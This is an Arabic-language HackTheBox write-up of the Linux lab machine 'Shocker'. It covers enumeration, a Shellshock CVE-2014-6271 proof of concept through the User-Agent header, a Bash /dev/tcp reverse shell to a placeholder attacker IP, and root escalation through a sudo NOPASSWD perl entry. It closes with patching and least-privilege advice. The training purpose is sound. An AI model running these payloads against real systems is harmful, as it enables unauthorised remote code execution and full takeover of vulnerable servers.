HackTheBox: شرح Shocker

جولة منظمة واحترافية توضح تحديد واستغلال ثغرة Shellshock الحرجة يدويًا، متبوعة بتصعيد الامتيازات المحلية عبر صلاحيات sudo غير مهيأة بشكل صحيح على هدف يعمل بنظام Linux.

نظرة عامة تقنية

• نظام التشغيل المستهدف: Linux
• عنوان IP: 10.10.10.56
• الصعوبة: سهلة
• الثغرات الأساسية: Shellshock (CVE-2014-6271) وصلاحيات Sudo غير مهيأة (/usr/bin/perl)
• الهدف: الحصول على وصول المستخدم الأولي عبر حقن متغيرات بيئة CGI ثم تصعيد الصلاحيات إلى الجذر.

1. التعداد والاستطلاع

يبدأ التقييم بمسح سريع TCP SYN لجميع المنافذ يستهدف المنافذ المفتوحة فقط (--open) مع تخطي اكتشاف المضيف (-Pn) وحل DNS (-n) لتسريع عملية التعرف على البصمة.

nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56

استهداف الخدمات وفحص الثغرات

يكشف المسح الأولي عن خدمتين نشطتين. نجري مسحًا ثانويًا مستهدفًا لتنفيذ كشف عدواني للإصدارات (-sCV) وتقييم الثغرات عبر البرامج النصية:

nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56

نتائج المسح

• المنفذ 80: HTTP (خادم Apache ويب)
• المنفذ 2222: SSH (منفذ غير قياسي)

2. استكشاف الدليل والاستطلاع على الويب

بالتوازي مع فحوصات الثغرات، نبدأ بتجربة إجبارية للدلائل على الويب باستخدام gobuster لرسم خريطة الموارد المخفية على خادم Apache. نستخدم قائمة كلمات قياسية من إطار عمل SecLists:

gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20

اكتشاف حاسم

تحدد عملية الفحص دليلاً غير مفهرس /cgi-bin/. في النشرات القديمة للويب، تستخدم خوادم Apache واجهة البوابة المشتركة (CGI) لتنفيذ البرامج النصية من جانب الخادم. بالنظر إلى اسم الجهاز ووجود هذا المجلد، نبحث بقوة عن برامج نصية قابلة للتنفيذ (مثل .sh، .cgi) قد تكون عرضة لثغرات حقن المتغيرات البيئية.

يكشف الاستطلاع الإضافي عن برنامج نصي باسم user.sh موجود داخل الدليل /cgi-bin/.

3. التسلح والوصول الأولي

اختبار Shellshock (إثبات المفهوم)

تسمح ثغرة Shellshock (CVE-2014-6271) للمهاجمين بتنفيذ أوامر تشغيلية عشوائية عن طريق حقن تعريفات دوال ضارة داخل رؤوس طلبات HTTP (مثل User-Agent) التي تتم معالجتها بواسطة نسخ Bash ضعيفة.

نقم بصياغة أمر curl مخصص لإرسال حمولة إثبات المفهوم (PoC) مصممة لإجبار النظام البعيد على تنفيذ الأمر /usr/bin/id:

curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

• النتيجة: يستجيب خادم الويب بمخرجات الأمر id، مما يؤكد تنفيذ أوامر عن بعد غير مصادق عليه (RCE) يشبه المصادق.

إنشاء شل عكسي

لترقية ناقل التنفيذ إلى جلسة تفاعلية، ننشئ مستمع Netcat محلي على منصة الهجوم:

nc -lvnp 4444

بعد ذلك، نقوم بحقن سلسلة شل عكسي أصلي في Bash داخل رأس User-Agent الضار لإجبار اتصال عكسي عبر TCP:

curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

عند التنفيذ الناجح، نحصل على شل مستقر منخفض الامتيازات:

```bash
$ whoami
shelly

4. تصعيد الامتيازات المحلية (LPE)

مع سياق مستخدم وظيفي على النظام، نقوم بتدقيق القيود المحلية. نستعلم عن تكوين sudo لتحديد ما إذا كان المستخدم shelly مصرحًا له بتنفيذ أوامر بصلاحيات مرتفعة دون تقديم كلمة مرور:

sudo -l

تدقيق تكوين Sudo

يكشف الإخراج عن الإدخال التالي عالي المخاطر:

User shelly may run the following commands on shocker:
    (root) NOPASSWD: /usr/bin/perl

استغلال Perl عبر GTFOBins

بسبب حصولنا على وصول غير مقيد وغير مصادق لتنفيذ الثنائي perl كـ root، يمكننا بسهولة الخروج من قيود الثنائي. بالرجوع إلى GTFOBins، نجد غلاف تنفيذي يوجه Perl للانتقال إلى شل النظام الأصلي (/bin/sh) مع الاحتفاظ بسياق هوية التنفيذ (root):

sudo -u root perl -e 'exec "/bin/sh"'

نحقق فورًا سياق تنفيذ إداري كامل:

# whoami
root

5. ما بعد الاستغلال والنهب

الآن بعد تأسيس وصول الجذر، ننتقل إلى دلائل المنزل ذات الصلة لاسترداد أدلة الاختراق.

# Access User Flag
cat /home/shelly/user.txt

# Access Root Flag
cat /root/root.txt

النقاط الرئيسية والتوصيات الدفاعية

1. تصحيح البرامج الضعيفة بطبيعتها: Shellshock هي ثغرة قديمة وكارثية في GNU Bash. تأكد من أن جميع مكونات الخادم تتلقى تصحيحات أمان استباقية للأدوات الأساسية.
2. تأمين بيئة CGI: إذا كان يجب الاحتفاظ بالبرامج النصية CGI، فتأكد من تشغيلها تحت نماذج تنفيذ معزولة ومحمية (مثل استخدام بيئات تشغيل حاويات متخصصة أو بيئات chroot) وتجنب استخدام الشل الافتراضية القديمة الضعيفة.
3. فرض مبدأ الامتياز الأقل بصرامة: منح المستخدمين العاديين وصولاً غير مقيد لتنفيذ مترجمين فوريين مدمجين أقوياء مثل perl أو python أو bash عبر sudo يقدم ناقلات تصعيد فورية. يجب حصر وصول Sudo على البرامج النصية الإدارية غير التفاعلية والمتحكم بها بشدة.